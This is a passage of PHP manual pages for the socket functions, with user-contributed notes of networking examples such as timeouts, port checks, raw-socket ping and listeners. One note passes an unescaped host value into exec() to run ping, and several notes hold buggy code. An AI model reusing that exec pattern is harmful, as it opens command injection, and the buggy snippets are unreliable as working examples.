$sourceips['kevin']    = '127.0.0.1';
$sourceips['madcoder'] = '127.0.0.2';

// Bind the source address
socket_bind($sock, $sourceips['madcoder']);

// Connect to destination address
socket_connect($sock, '127.0.0.1', 80);

// Write
$request = 'GET / HTTP/1.1' . "\r\n" .
           'Host: example.com' . "\r\n\r\n";
socket_write($sock, $request);

// Close
socket_close($sock);

?>

Notes

Note:

This function must be used on the socket before socket_connect().

Note:

Windows 9x/ME compatibility note: socket_last_error() may return an invalid error code if trying to bind the socket to a wrong address that does not belong to your machine.

See Also

  • socket_connect() - Initiates a connection on a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_create() - Create a socket (endpoint for communication)
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

dresende at thinkdigital dot pt 21-Nov-2011 09:39
Regarding previous post:

"0" has address is no different from "0.0.0.0"

127.0.0.1 -> accept only from local host
w.x.y.z (valid local IP) -> accep only from this network
0.0.0.0 -> accept from anywhere
Mex 13-Sep-2011 05:25
It appears for the $address parameter:

'127.0.0.1'
accepts clients from localhost (eg. 127.0.0.1)

'0.0.0.0'
accepts clients from localhost, and the server's network (eg. 127.0.0.1, 192.168.2.5, 10.20.30.40)

'0' or 0
accepts clients from localhost, the server's network, and external networks (eg. 127.0.0.1, 192.168.2.5, 10.20.30.40, 209.85.169.99)
php50613160534 dot 3 dot korkman at spamgourmet dot org 13-Jun-2005 06:16
Use 0 for port to bind a random (free) port for incoming connections:

socket_bind ($socket, $bind_address, 0);
socket_getsockname($socket, $socket_address, $socket_port);
socket_listen($socket);
...

$socket_port contains the assigned port, you might want to send it to a remote client connecting. Tested with php 5.03.
gasket at cekkent dot net 03-May-2003 06:19
The aforementioned tidbit about using NULL to bind to all addresses did not work for me, as I would receive an error about unknown address. Using a 0 worked for me:

socket_bind ($socket, 0, $port)

This also allows you to receive UDP broadcasts, which is what I had been trying to figure out.
keksov[at]gmx.de 10-Jun-2002 11:22
If you want to reuse address and port, and get rid of error: unable to bind, address already in use, you have to use socket_setopt (check actual spelling for this function in you PHP verison) before calling bind:

<?php
if (!socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1)) {
    echo socket_strerror(socket_last_error($sock));
    exit;
}
?>

This solution was found by
Christophe Dirac. Thank you Christophe!
socket_accept
socket_clear_error
Socket Functions


Clears the error on the socket or the last error code

socket_bind
socket_close
Socket Functions
PHP Manual

socket_clear_error

(PHP 4 >= 4.2.0, PHP 5)

socket_clear_error — Clears the error on the socket or the last error code

Description

void socket_clear_error ([ resource $socket ] )

This function clears the error code on the given socket or the global last socket error if no socket is specified.

This function allows explicitly resetting the error code value either of a socket or of the extension global last error code. This may be useful to detect within a part of the application if an error occurred or not.

Parameters

socket

A valid socket resource created with socket_create().

Return Values

No value is returned.

See Also

  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

raphael at engenhosweb dot com dot br 27-Jul-2011 02:45
You can do this too, with anonymous function:
<?php
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP) or function() {
            $errstr = socket_strerror(socket_last_error());
            echo ("Failed to create socket: " . $errstr);
            socket_clear_error();
        };
?>
ludvig dot ericson at gmail dot com 23-May-2006 04:08
If you want to clear your error in a small amount of code, do a similar hack as to what most people do in SQL query checking,
<?php
$result = mysql_query($sql) or die(/* Whatever code */);
?>

It could look like this:
<?php
if (!($socket = socket_create(/* Whatever code */)) {
    echo ("Failed to create socket: " . socket_strerror(socket_last_error()) and socket_clear_error());
}
?>

As you can see, I use "and" here instead of "or" since the first part will always return true, thus if you use or PHP's lazy boolean checking will not execute the last part, which it will with an and if the first part is true.
socket_bind
socket_close
Socket Functions


Closes a socket resource

socket_clear_error
socket_connect
Socket Functions
PHP Manual

socket_close

(PHP 4 >= 4.1.0, PHP 5)

socket_close — Closes a socket resource

Description

void socket_close ( resource $socket )

socket_close() closes the socket resource given by socket. This function is specific to sockets and cannot be used on any other type of resources.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

Return Values

No value is returned.

See Also

  • socket_bind() - Binds a name to a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_create() - Create a socket (endpoint for communication)
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

aeolianmeson at NOSPAM dot blitzeclipse dot com 29-May-2006 10:24
PHP: 5.1.4
Summary: close() does not relinquish socket immediately.

With the BSD socket implementation (which is the socket interface used by PHP), a socket_close() may close the socket, but there may yet be data to send. Until the data is sent, the port will not be available. Therefore, all further bindings attempted on that port will not be acceptable due to the 'port can not be reused' (the approximate message, anyway) error. Ordinarily, if the REUSABLE socket option is set, the only thing that will raise such an error is a binding to a specific IP/PORT combination that is already bound.

To avoid this problem, you must tell it to delay returning until the port either sends the rest of its data, or times-out in doing it. This is done via the SO_LINGER option. To set this option, it requires an array of two elements: the first indicates whether a linger is required on any data before the shutdown completes, and the second indicates whether we actually linger. If we set a nonzero to the first while setting a zero to the second, we would simply drop whatever data is waiting in the buffer, and close the socket. To tell it simply to wait on the data to be sent, you send a non-zero for both: array(1, 1).

Note that if you have indicated not to block (socket_set_nonblock()), it will simply exit no matter what, much like it usually would. In this case it bursts an EWOULDWAIT flag, but since I don't think we have access to these socket flags in PHP, one should re-enable blocking right before they set the linger and quit.

    // These commands get fed straight through to the Unix socket libraries.. That's why they're a little more C-like.
    $arrOpt = array('l_onoff' => 1, 'l_linger' => 1);
    socket_set_block($this->Socket);
    socket_set_option($this->Socket, SOL_SOCKET, SO_LINGER, $arrOpt);
    socket_close($this->Socket);
chaos 07-Jun-2002 03:57
Sometimes it seems that you have to shutdown() a socket before you can close() it. I experienced that while making a chatserver in PHP with this cool socket extension.
socket_clear_error
socket_connect
Socket Functions


Initiates a connection on a socket

socket_close
socket_create_listen
Socket Functions
PHP Manual

socket_connect

(PHP 4 >= 4.1.0, PHP 5)

socket_connect — Initiates a connection on a socket

Description

bool socket_connect ( resource $socket , string $address [, int $port = 0 ] )

Initiate a connection to address using the socket resource socket, which must be a valid socket resource created with socket_create().

Parameters

socket

address

The address parameter is either an IPv4 address in dotted-quad notation (e.g. 127.0.0.1) if socket is AF_INET, a valid IPv6 address (e.g. ::1) if IPv6 support is enabled and socket is AF_INET6 or the pathname of a Unix domain socket, if the socket family is AF_UNIX.

port

The port parameter is only used and is mandatory when connecting to an AF_INET or an AF_INET6 socket, and designates the port on the remote host to which a connection should be made.

Return Values

Returns TRUE on success or FALSE on failure. The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual explanation of the error.

Note:

If the socket is non-blocking then this function returns FALSE with an error Operation now in progress.

See Also

  • socket_bind() - Binds a name to a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_create() - Create a socket (endpoint for communication)
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

Cedar Myers 15-Apr-2011 10:23
It seems that timeout values can be specified by setting the SO_SNDTIMEO option before calling socket_connect():

<?php
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $seconds, 'usec' => $milliseconds));
socket_connect($socket, $address, $port)//...
?>
thewanderer 17-Jan-2011 10:55
Note that as of PHP5.3 it is not possible to send IPv6 multicast to link-local addresses, because socket_connect() is just a trimmed-down version of connect() and does not support passing sin6_scope_id - the scope ID is required when sending packets to ff02::1 (all-nodes), for example.
At first I thought I needed to bind the socket to the device using SO_BINDTODEVICE option (undefined constant in PHP - use numeric value 25), but it makes no difference, only requires root privileges to produce no usable results.
Also, if you think you are sending multicast packets to link local addresses just because socket_sendto() returns a positive number of bytes, you might be wrong - just returning success does not mean that packets are sent over any link at all. In my test case I was sending to ff02::1, I could detect no errors, but Wireshark showed no packets. They end up in void.
This is irrelevant to the handling of local reception sockets, so UDP listeners should still work as usual with IPv6/UDP. You might want to resort to C for implementing multicasters, though.
peter at videoripper dot org 29-Oct-2009 11:29
This will give you a simple port-checker.

Note that on production-machines, you might want to alter the error reporting-level,
since unsuccessful connects will give you a "No connection could be made because
the target machine actively refused it"-error in the log.

Under Windows, make sure you enable the php_sockets.dll extension in your php.ini.

<?php
  $address=$_SERVER['REMOTE_ADDR'];

  if (isset($_REQUEST['port']) and
      (!strlen($_REQUEST['port'])==0))
    $port=$_REQUEST['port'];
  else
    unset($port);

  if (isset($port) and
      ($socket=socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) and
      (socket_connect($socket, $address, $port)))
    {
      $text="Connection successful on IP $address, port $port";
      socket_close($socket);
    }
  else
    $text="Unable to connect<pre>".socket_strerror(socket_last_error())."</pre>";

  echo "<html><head></head><body>".
       $text.
       "</body></html>";
?>

Greetz,

Peter.
jerrywilborn at gmail dot com 02-Sep-2009 09:40
This will print the banner from a true 'telnet' server (router, switch, host, etc).

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($socket, '127.0.0.1', 23);

while (TRUE) {
        $r = array($socket);
        $c = socket_select($r, $w = NULL, $e = NULL, 5);

        foreach ($r as $read_socket) {
                if ($r = negotiate($read_socket)) {
                        var_dump($r);
                        exit;
                }
        }
}

function negotiate ($socket) {
        socket_recv($socket, $buffer, 1024, 0);

        for ($chr = 0; $chr < strlen($buffer); $chr++) {
                if ($buffer[$chr] == chr(255)) {

                        $send = (isset($send) ? $send . $buffer[$chr] : $buffer[$chr]);

                        $chr++;
                        if (in_array($buffer[$chr], array(chr(251), chr(252)))) $send .= chr(254);
                        if (in_array($buffer[$chr], array(chr(253), chr(254)))) $send .= chr(252);

                        $chr++;
                        $send .= $buffer[$chr];
                } else {
                        break;
                }
        }

        if (isset($send)) socket_send($socket, $send, strlen($send), 0);
        if ($chr - 1 < strlen($buffer)) return substr($buffer, $chr);

}
vshih at yahoo 14-Apr-2009 12:52
rbarnes' tip is helpful, but I found that I needed to add a check for SOCKET_EISCONN in the while loop:

    ...
    $error = socket_last_error();

    if ($error == SOCKET_EISCONN) {
        $connected = true;
        break;
    }
    ...

At least on Mac OS X 10.5.
maganap 18-Sep-2008 12:15
Hi there!

For the TCP connections: socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
In case you're having problems in socket_connect() with socket_strerror() = "Permission denied", you may be having a SELinux config issue.

Check if SELinux is enabled:
# /usr/sbin/sestatus -v
In case it is, you can just type the command:
# setsebool httpd_can_network_connect=1

That's it... I read you had to reboot, but I didn't and it worked fine anyway. More info, you may check:
http://arkiv.netbsd.se/?ml=squirrelmail-users&a=2005-11&t=1523021
rbarnes at fake dot com 15-Jul-2008 10:04
Here is an example of a non-blocking connect which should perform quite a bit faster than the one posted by Seymour below:

<?php
function msConnectSocket($remote, $port, $timeout = 30) {
        # this works whether $remote is a hostname or IP
        $ip = "";
        if( !preg_match('/^\d+\.\d+\.\d+\.\d+$/', $remote) ) {
            $ip = gethostbyname($remote);
            if ($ip == $remote) {
                $this->errstr = "Error Connecting Socket: Unknown host";
                return NULL;
            }
        } else $ip = $remote;

        if (!($this->_SOCK = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
            $this->errstr = "Error Creating Socket: ".socket_strerror(socket_last_error());
            return NULL;
        }

        socket_set_nonblock($this->_SOCK);

        $error = NULL;
        $attempts = 0;
        $timeout *= 1000;  // adjust because we sleeping in 1 millisecond increments
        $connected;
        while (!($connected = @socket_connect($this->_SOCK, $remote, $port+0)) && $attempts++ < $timeout) {
            $error = socket_last_error();
            if ($error != SOCKET_EINPROGRESS && $error != SOCKET_EALREADY) {
                $this->errstr = "Error Connecting Socket: ".socket_strerror($error);
                socket_close($this->_SOCK);
                return NULL;
            }
            usleep(1000);
        }

        if (!$connected) {
            $this->errstr = "Error Connecting Socket: Connect Timed Out After $timeout seconds. ".socket_strerror(socket_last_error());
            socket_close($this->_SOCK);
            return NULL;
        }

        socket_set_block($this->_SOCK);

        return 1;
}
?>
mike at fserve dot us 22-Feb-2008 02:14
This probably sounds like common sense, but it is something nobody i asked thought of... you can't bind the socket to localhost, you must bind it to either the IP your router assigns you, or your public IP address. If you bind to localhost, it will give an invalid resource error.
ScriptBlue at nyc dot rr dot com 17-Sep-2005 09:13
If you do want to have a socket_connect operation timeout you can use the following code.
<?php
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_nonblock($sock);
socket_connect($sock,"127.0.0.1", 80);
socket_set_block($sock);
switch(socket_select($r = array($sock), $w = array($sock), $f = array($sock), 5))
{
        case 2:
                echo "[-] Connection Refused\n";
                break;
        case 1:
                echo "[+] Connected\n";
                break;
        case 0:
                echo "[-] Timeout\n";
                break;
}
?>
This basically makes socket_connect return immediately then you can use socket_select to see how the socket reacted.
telefoontoestel at home 23-Nov-2003 12:05
In reply to the function socket_raw_connect posted by "net_del at freemail dot ru". In the function you give a return value and afterwords you try to close the connection. That won't ever work. I think you want to alter your code ;-)
seymour@itsyourdomain 01-Oct-2003 12:43
here's how you can implement timeouts with the socket functions.

this example works for blocking sockets but will work for both blocking and nonblocking with minor modifications. first call to connect in nonblocking mode returns 115 EINPROGRESS, additional calls return 114 EALREADY if the connection has not already failed or succeeded. once the connection succeeds, the socket resource will be returned.

<?
    $host = "127.0.0.1";
    $port = "80";
    $timeout = 15;  //timeout in seconds

    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)
      or die("Unable to create socket\n");

    socket_set_nonblock($socket)
      or die("Unable to set nonblock on socket\n");

    $time = time();
    while (!@socket_connect($socket, $host, $port))
    {
      $err = socket_last_error($socket);
      if ($err == 115 || $err == 114)
      {
        if ((time() - $time) >= $timeout)
        {
          socket_close($socket);
          die("Connection timed out.\n");
        }
        sleep(1);
        continue;
      }
      die(socket_strerror($err) . "\n");
    }

    socket_set_block($this->socket)
      or die("Unable to set block on socket\n");
?>
net_del at freemail dot ru 26-Aug-2003 01:54
function socket_raw_connect ($server, $port, $timeout,$request)
{
 if (!is_numeric($port) or !is_numeric($timeout)) {return false;}
 $socket = fsockopen($server, $port, $errno, $errstr, $timeout);
 fputs($socket, $request);
 $ret = '';
 while (!feof($socket))
 {
  $ret .= fgets($socket, 4096);
 }
 return $ret;
 fclose($socket);
}

this code for easy raw connect.

Comment by net_del[nkg] (www.nkg.ru)
I am from russia. PHP is good language!
w at ff dot st 28-Jun-2003 02:20
man page for connect :
 EINPROGRESS
The socket is non-blocking and the connection cannot be completed immediately.  It is possible to select(2) or poll(2) for completion by selecting the socket for writing. After select indicates  writability,  use  getsockopt(2)  to read the SO_ERROR option at level SOL_SOCKET to determine whether connect completed successfully (SO_ERROR is zero) or unsuccessfully (SO_ERROR is one of the usual error codes listed here, explaining the reason for the failure).

use socket_getoption($socket,SOL_SOCKET,SO_ERROR) . If you get value 115, it is connecting. If you get value different than 115 and 0, that means that an error has occured (see what error with socket_strerror()).

However, I don't know how does that works under Windows, maybe it wont work at all. It is supposed to work under Linux (man pages said that).
greg at mtechsolutions dot ca 30-Apr-2003 02:12
If you're using non-blocking, be sure not to turn it on until after you connect, otherwise you will get the mesasge:

PHP Warning:  socket_connect() unable to connect [115]: Operation now in progress in file.php on line 123

and socket_connect() will return false (even though it will connect).
logan at voerthegame dot com 24-Jul-2002 11:24
I had the same problem with the timeout, and i applied this solution.

It works only on linux PHP, i make a ping to the ip before connect the socket.....

<?php
$address = gethostbyname ($ip);
        $command = "ping -c 1 " . $address;
        $r = exec($command);
          if ($r[0]=="r")
          {
            $socket = socket_create (AF_INET, SOCK_STREAM, 0);
            if ($socket < 0) {
                echo "socket_create() failed: reason: " . socket_strerror ($socket) . "\n";
            } else {
                echo "OK.\n";
            }
?>
socket_close
socket_create_listen
Socket Functions


Opens a socket on port to accept connections

socket_connect
socket_create_pair
Socket Functions
PHP Manual

socket_create_listen

(PHP 4 >= 4.1.0, PHP 5)

socket_create_listen — Opens a socket on port to accept connections

Description

resource socket_create_listen ( int $port [, int $backlog = 128 ] )

socket_create_listen() creates a new socket resource of type AF_INET listening on all local interfaces on the given port waiting for new connections.

This function is meant to ease the task of creating a new socket which only listens to accept new connections.

Parameters

port

The port on which to listen on all interfaces.

backlog

The backlog parameter defines the maximum length the queue of pending connections may grow to. SOMAXCONN may be passed as backlog parameter, see socket_listen() for more information.

Return Values

socket_create_listen() returns a new socket resource on success or FALSE on error. The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual explanation of the error.

Notes

Note:

If you want to create a socket which only listens on a certain interface you need to use socket_create(), socket_bind() and socket_listen().

See Also

  • socket_create() - Create a socket (endpoint for communication)
  • socket_create_pair() - Creates a pair of indistinguishable sockets and stores them in an array
  • socket_bind() - Binds a name to a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

danf at speet dot com 06-Aug-2010 05:50
A simple Class for Socket Server.

<?php

/**
 * Description of socketclass
 *
 * @author daniell
 */
class Socket {
    // Sockets
    private $sock;
    private $lister;
    // Wait, Porta, Ack
    private $wait;
    private $porta;
    private $ack;
    // Usuario
    private $user;

    function __construct($wait, $porta, $ack) {
        $this->wait  = $wait;
        $this->porta = $porta;
        $this->ack   = $ack;
        $this->user['ip'] = $this->user['port'] = NULL;
        // Cria o servidor
        $this->socketListen();
    }

    function  __destruct() {
        $this->close();
    }

    // Cria o Servidor
    public function socketListen(){
        while( !( $this->lister = @socket_create_listen($this->porta) ) ){
            echo 'Aguarde..';
            sleep($this->wait);
        }
    }

    // Aguarda um Cliente conectar.
    public function waitClient(){
        $r = array($this->lister);
        if( socket_select($r,$w = NULL,$e = NULL, $this->wait) ){
            // Conectado
            $this->sock = socket_accept($this->lister);
            socket_getpeername($this->sock, $raddr, $rport);
            $this->user = array('ip'=>$raddr,'port'=>$rport);
            return true;
        } else {
            // [Time out] - Não conectado a tempo.
            return false;
        }

    }

    // Fecha a conexão
    public function close(){
        if( is_resource($this->lister) )
            socket_close($this->lister);
    }

    // Obtem as informações do usuário
    public function getUserInfo(){
        return $this->user;
    }

    // Le todo o sock a cada 1 Byte.
    public function write($message){
        $num = 0;
        $length = strlen($message);
        do{
            $buff = substr($message, $num);
            $num += socket_write($this->sock,$buff);
        }while( $num != $length );
    }

    // Envia o ACK
    public function sendAck(){
        do{
            $num = socket_write($this->sock,$this->ack);
        }while( $num == 0 );
    }

    // Recebe o ACK
    public function waitAck(){
        do {
            $buff = socket_read($this->sock,1,PHP_BINARY_READ);
        }while( $buff != $this->ack );
    }

    // Le todo o sock a cada 1 Byte.
    public function read(){
        $message = '';
        do {
            $buff     = socket_read($this->sock,1,PHP_BINARY_READ);
            $message .= $buff;
        }while( $buff != "\n" );
        return $message;
    }
}
?>
vicente dot lopez at caixadesoft dot es 27-Jul-2009 02:29
I use this script to listen on 3 ports, but with 'netstat -a' in other console reports only the last one is 'LISTEN'.

#!/usr/bin/php -q
<?php
    $services = array(
                                56700    =>    'daemon1',
                                56701    =>    'daemon2',
                                56703    =>    'daemon3',
                            );

    // --- Marca el Tiempo Ilimitado para pararse ---
    set_time_limit (0);

    $sockets = array();

    foreach($services as $port => $daemon)
    {
        // --- Abre el socket ---
        if ($sock = @socket_create_listen($port))
        {
            $sockets[$sock] = $daemon;
        }
        else
        {
            echo("error\n");
        }
    }

    print_r($sockets);

    while (1)
    {
        echo "";
    }
?>
aeolianmeson at ifacfchi dot blitzeclipse dot com 26-Jun-2008 03:34
I believe that on some systems this may not bind to some or all public interfaces.

On my Windows system, I could not connect on the public interface using this, but could when I made the individual calls to create, bind, and listen.

Dustin Oprea
sysspoof at ng-lab dot org 06-Mar-2008 11:03
Please note that port 1 to and with 1024 on linux and bsd system require root privileges. So it is recommended to choose a higher port for your own application.
jdittmer at ppp0 dot net 17-Jul-2004 04:42
If you specify no port number, or 0, a random free port will be chosen.
To use ports for ipc between client/server on the same machine you can use (minus error checking)

server.php:
<?php
$sock = socket_create_listen(0);
socket_getsockname($sock, $addr, $port);
print "Server Listening on $addr:$port\n";
$fp = fopen($port_file, 'w');
fwrite($fp, $port);
fclose($fp);
while($c = socket_accept($sock)) {
   /* do something useful */
   socket_getpeername($c, $raddr, $rport);
   print "Received Connection from $raddr:$rport\n";
}
socket_close($sock);
?>

client.php:
<?php
$fp = fopen($port_file, 'r');
$port = fgets($fp, 1024);
fclose($fp);
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($sock, '127.0.0.1', $port);
socket_close($sock);
?>
basim at baassiri dot com 06-Feb-2004 02:50
Remember that ports are only valid from 1 - 65536
socket_connect
socket_create_pair
Socket Functions


Creates a pair of indistinguishable sockets and stores them in an array

socket_create_listen
socket_create
Socket Functions
PHP Manual

socket_create_pair

(PHP 4 >= 4.1.0, PHP 5)

socket_create_pair — Creates a pair of indistinguishable sockets and stores them in an array

Description

bool socket_create_pair ( int $domain , int $type , int $protocol , array &$fd )

socket_create_pair() creates two connected and indistinguishable sockets, and stores them in fd. This function is commonly used in IPC (InterProcess Communication).

Parameters

domain

The domain parameter specifies the protocol family to be used by the socket. See socket_create() for the full list.

type

The type parameter selects the type of communication to be used by the socket. See socket_create() for the full list.

protocol

The protocol parameter sets the specific protocol within the specified domain to be used when communicating on the returned socket. The proper value can be retrieved by name by using getprotobyname(). If the desired protocol is TCP, or UDP the corresponding constants SOL_TCP, and SOL_UDP can also be used.

See socket_create() for the full list of supported protocols.

fd

Reference to an array in which the two socket resources will be inserted.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | This function is now re-enabled on Windows platforms.
4.3.0 | This function was due to a bug made unavailable on Windows platforms.

Examples

Example #1 socket_create_pair() example

<?php
$sockets = array();

/* On Windows we need to use AF_INET */
$domain = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN' ? AF_INET : AF_UNIX);

/* Setup socket pair */
if (socket_create_pair($domain, SOCK_STREAM, 0, $sockets) === false) {
    echo "socket_create_pair failed. Reason: ".socket_strerror(socket_last_error());
}
/* Send and Recieve Data */
if (socket_write($sockets[0], "ABCdef123\n", strlen("ABCdef123\n")) === false) {
    echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($sockets[0]));
}
if (($data = socket_read($sockets[1], strlen("ABCdef123\n"), PHP_BINARY_READ)) === false) {
    echo "socket_read() failed. Reason: ".socket_strerror(socket_last_error($sockets[1]));
}
var_dump($data);

/* Close sockets */
socket_close($sockets[0]);
socket_close($sockets[1]);
?>

Example #2 socket_create_pair() IPC example

<?php
$ary = array();
$strone = 'Message From Parent.';
$strtwo = 'Message From Child.';

if (socket_create_pair(AF_UNIX, SOCK_STREAM, 0, $ary) === false) {
    echo "socket_create_pair() failed. Reason: ".socket_strerror(socket_last_error());
}
$pid = pcntl_fork();
if ($pid == -1) {
    echo 'Could not fork Process.';
} elseif ($pid) {
    /*parent*/
    socket_close($ary[0]);
    if (socket_write($ary[1], $strone, strlen($strone)) === false) {
        echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($ary[1]));
    }
    if (socket_read($ary[1], strlen($strtwo), PHP_BINARY_READ) == $strtwo) {
        echo "Recieved $strtwo\n";
    }
    socket_close($ary[1]);
} else {
    /*child*/
    socket_close($ary[1]);
    if (socket_write($ary[0], $strtwo, strlen($strtwo)) === false) {
        echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($ary[0]));
    }
    if (socket_read($ary[0], strlen($strone), PHP_BINARY_READ) == $strone) {
        echo "Recieved $strone\n";
    }
    socket_close($ary[0]);
}
?>

See Also

  • socket_create() - Create a socket (endpoint for communication)
  • socket_create_listen() - Opens a socket on port to accept connections
  • socket_bind() - Binds a name to a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

cweiske at php dot net 09-May-2009 01:45
The underlying sockpair() function does only support AF_UNIX at least on BSD and Linux.
thegreatall at gmail dot com 13-Jul-2007 11:24
There is a syntax error in one of the code samples provided, it should look like this:
<?php
$sockets = array();
/* Setup socket pair */
if (socket_create_pair(AF_UNIX, SOCK_STREAM, 0, $sockets) === false) {
    echo "socket_create_pair failed. Reason: ".socket_strerror(socket_last_error());
}
/* Send and Recieve Data */
if (socket_write($sockets[0], "ABCdef123\n", strlen("ABCdef123\n")) === false) {
    echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($sockets[0]));
}
if (($data = socket_read($sockets[1], strlen("ABCdef123\n"), PHP_BINARY_READ)) === false) {
    echo "socket_read() failed. Reason: ".socket_strerror(socket_last_error($sockets[1]));
}
var_dump($data);

/* Close sockets */
socket_close($sockets[0]);
socket_close($sockets[1]);
?>
socket_create_listen
socket_create
Socket Functions


Create a socket (endpoint for communication)

socket_create_pair
socket_get_option
Socket Functions
PHP Manual

socket_create

(PHP 4 >= 4.1.0, PHP 5)

socket_create — Create a socket (endpoint for communication)

Description

resource socket_create ( int $domain , int $type , int $protocol )

Creates and returns a socket resource, also referred to as an endpoint of communication. A typical network connection is made up of 2 sockets, one performing the role of the client, and another performing the role of the server.

Parameters

domain

The domain parameter specifies the protocol family to be used by the socket.

Available address/protocol families
Domain | Description
AF_INET | IPv4 Internet based protocols. TCP and UDP are common protocols of this protocol family.
AF_INET6 | IPv6 Internet based protocols. TCP and UDP are common protocols of this protocol family.
AF_UNIX | Local communication protocol family. High efficiency and low overhead make it a great form of IPC (Interprocess Communication).
type

The type parameter selects the type of communication to be used by the socket.

Available socket types
Type | Description
SOCK_STREAM | Provides sequenced, reliable, full-duplex, connection-based byte streams. An out-of-band data transmission mechanism may be supported. The TCP protocol is based on this socket type.
SOCK_DGRAM | Supports datagrams (connectionless, unreliable messages of a fixed maximum length). The UDP protocol is based on this socket type.
SOCK_SEQPACKET | Provides a sequenced, reliable, two-way connection-based data transmission path for datagrams of fixed maximum length; a consumer is required to read an entire packet with each read call.
SOCK_RAW | Provides raw network protocol access. This special type of socket can be used to manually construct any type of protocol. A common use for this socket type is to perform ICMP requests (like ping).
SOCK_RDM | Provides a reliable datagram layer that does not guarantee ordering. This is most likely not implemented on your operating system.
protocol

The protocol parameter sets the specific protocol within the specified domain to be used when communicating on the returned socket. The proper value can be retrieved by name by using getprotobyname(). If the desired protocol is TCP, or UDP the corresponding constants SOL_TCP, and SOL_UDP can also be used.

Common protocols
Name | Description
icmp | The Internet Control Message Protocol is used primarily by gateways and hosts to report errors in datagram communication. The "ping" command (present in most modern operating systems) is an example application of ICMP.
udp | The User Datagram Protocol is a connectionless, unreliable, protocol with fixed record lengths. Due to these aspects, UDP requires a minimum amount of protocol overhead.
tcp | The Transmission Control Protocol is a reliable, connection based, stream oriented, full duplex protocol. TCP guarantees that all data packets will be received in the order in which they were sent. If any packet is somehow lost during communication, TCP will automatically retransmit the packet until the destination host acknowledges that packet. For reliability and performance reasons, the TCP implementation itself decides the appropriate octet boundaries of the underlying datagram communication layer. Therefore, TCP applications must allow for the possibility of partial record transmission.

Return Values

socket_create() returns a socket resource on success, or FALSE on error. The actual error code can be retrieved by calling socket_last_error(). This error code may be passed to socket_strerror() to get a textual explanation of the error.

Changelog

Version | Description
5.0.0 | The AF_INET6 constant was added.

Errors/Exceptions

If an invalid domain or type is given, socket_create() defaults to AF_INET and SOCK_STREAM respectively and additionally emits an E_WARNING message.

See Also

  • socket_accept() - Accepts a connection on a socket
  • socket_bind() - Binds a name to a socket
  • socket_connect() - Initiates a connection on a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

geoff at spacevs dot com 20-Nov-2010 01:51
Here is a ping function for PHP without using exec/system/passthrough/etc... Very useful to use to just test if a host is online before attempting to connect to it. Timeout is in seconds.

<?PHP
        function ping($host, $timeout = 1) {
                /* ICMP ping packet with a pre-calculated checksum */
                $package = "\x08\x00\x7d\x4b\x00\x00\x00\x00PingHost";
                $socket  = socket_create(AF_INET, SOCK_RAW, 1);
                socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $timeout, 'usec' => 0));
                socket_connect($socket, $host, null);

                $ts = microtime(true);
                socket_send($socket, $package, strLen($package), 0);
                if (socket_read($socket, 255))
                        $result = microtime(true) - $ts;
                else    $result = false;
                socket_close($socket);

                return $result;
        }
?>
rhollencamp at gmail dot com 08-Sep-2009 09:29
Note that if you create a socket with AF_UNIX, a file will be created in the filesystem. This file is not removed when you call socket_close - you should unlink the file after you close the socket.
took at sd-gp dot de 28-Apr-2009 04:05
A simple example how to send a raw udp packet

<?php
$frame = array(
    array(1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1),
    array(1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1),
    array(1,1,0,1,1,0,1,1,0,1,1,0,1,1,0,1,1,1),
    array(1,1,0,1,1,0,1,1,0,1,1,0,1,1,0,1,1,1),
    array(1,1,0,1,1,0,1,1,0,1,1,0,1,1,0,1,1,1),
    array(1,1,0,1,1,0,1,1,0,1,1,0,1,1,0,1,1,1),
    array(1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1),
    array(1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1)
);

send_frame($frame, 1500);

/**
 * Sends 18x8 MCUF-UDP packet to target host.
 *
 * see also:
 * wiki.blinkenarea.org/index.php/MicroControllerUnitFrame
 *
 * @param array    $frame 18x8 '0' or '1'
 * @param int    $delay delay in msec
 * @param string    $host target host
 * @param int    $port target port (udp)
 */
function send_frame($frame, $delay, $host="192.168.0.23", $port=2323) {
    $header = "\x23\x54\x26\x66\x00\x08\x00\x12\x00\x01\x00\xff";
    $buf = $header;
    for ($i=0;$i<8;$i++) {
        for ($j=0;$j<18;$j++) {
            if ($frame[$i][$j]) {
                $buf.="\xff";
            } else  {
